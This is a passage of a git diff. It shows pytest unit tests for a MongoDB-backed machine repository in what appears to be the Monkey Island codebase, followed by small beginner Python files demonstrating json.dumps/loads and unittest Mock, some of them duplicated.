**SERVICES_TO_ADD,
SocketAddress(ip="192.168.1.12", port=80): NetworkService.UNKNOWN,
}
@pytest.fixture
def mongo_client() -> mongomock.MongoClient:
client = mongomock.MongoClient()
client.monkey_island.machines.insert_many(
(mongo_dot_encoder(m.dict(simplify=True)) for m in MACHINES)
)
client.monkey_island.machines.insert_many((m.dict(simplify=True) for m in MACHINES))
return client
@ -169,6 +146,21 @@ def test_upsert_machine__storage_error_exception(error_raising_machine_repositor
error_raising_machine_repository.upsert_machine(machine)
def test_upsert_machine__storage_error_update_failed(error_raising_mock_mongo_client):
mock_result = MagicMock()
mock_result.matched_count = 1
mock_result.modified_count = 0
error_raising_mock_mongo_client.monkey_island.machines.replace_one = MagicMock(
return_value=mock_result
)
machine_repository = MongoMachineRepository(error_raising_mock_mongo_client)
machine = MACHINES[0]
with pytest.raises(StorageError):
machine_repository.upsert_machine(machine)
def test_upsert_machine__storage_error_insert_failed(error_raising_mock_mongo_client):
mock_result = MagicMock()
mock_result.matched_count = 0
@ -287,27 +279,3 @@ def test_usable_after_reset(machine_repository):
def test_reset__removal_error(error_raising_machine_repository):
with pytest.raises(RemovalError):
error_raising_machine_repository.reset()
@pytest.mark.parametrize(
"machine_id, expected_services",
[
(MACHINES[0].id, EXPECTED_SERVICES_1),
(MACHINES[1].id, EXPECTED_SERVICES_2),
(MACHINES[2].id, EXPECTED_SERVICES_3),
],
)
def test_service_upsert(machine_id, expected_services, machine_repository):
machine_repository.upsert_network_services(machine_id, SERVICES_TO_ADD)
assert machine_repository.get_machine_by_id(machine_id).network_services == expected_services
def test_service_upsert__machine_not_found(machine_repository):
with pytest.raises(UnknownRecordError):
machine_repository.upsert_network_services(machine_id=999, services=SERVICES_TO_ADD)
def test_service_upsert__error_on_storage(machine_repository):
malformed_services = 3
with pytest.raises(StorageError):
machine_repository.upsert_network_services(MACHINES[0].id, malformed_services)

13
test_dumps Normal file
View File

@ -0,0 +1,13 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

13
test_dumps.py Normal file
View File

@ -0,0 +1,13 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

21
zmtest04/test_mock.py Normal file
View File

@ -0,0 +1,21 @@
import unittest
from mock import Mock
def VerifyPhone():
'''
校验用户手机号
'''
pass
class TestVerifyPhone(unittest.TestCase):
def test_verify_phone(self):
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
VerifyPhone = Mock(return_value=data)
self.assertEqual("success", VerifyPhone()["msg"]["result"])
print('测试用例')
if __name__ == '__main__':
unittest.main(verbosity=2)

View File

@ -0,0 +1,21 @@
import unittest
from mock import Mock
def VerifyPhone():
'''
校验用户手机号
'''
pass
class TestVerifyPhone(unittest.TestCase):
def test_verify_phone(self):
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
VerifyPhone = Mock(return_value=data)
self.assertEqual("success", VerifyPhone()["msg"]["result"])
print('测试用例')
if __name__ == '__main__':
unittest.main(verbosity=2)

21
zmtest05/test_mock.py Normal file
View File

@ -0,0 +1,21 @@
import unittest
from mock import Mock
def VerifyPhone():
'''
校验用户手机号
'''
pass
class TestVerifyPhone(unittest.TestCase):
def test_verify_phone(self):
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
VerifyPhone = Mock(return_value=data)
self.assertEqual("success", VerifyPhone()["msg"]["result"])
print('测试用例')
if __name__ == '__main__':
unittest.main(verbosity=2)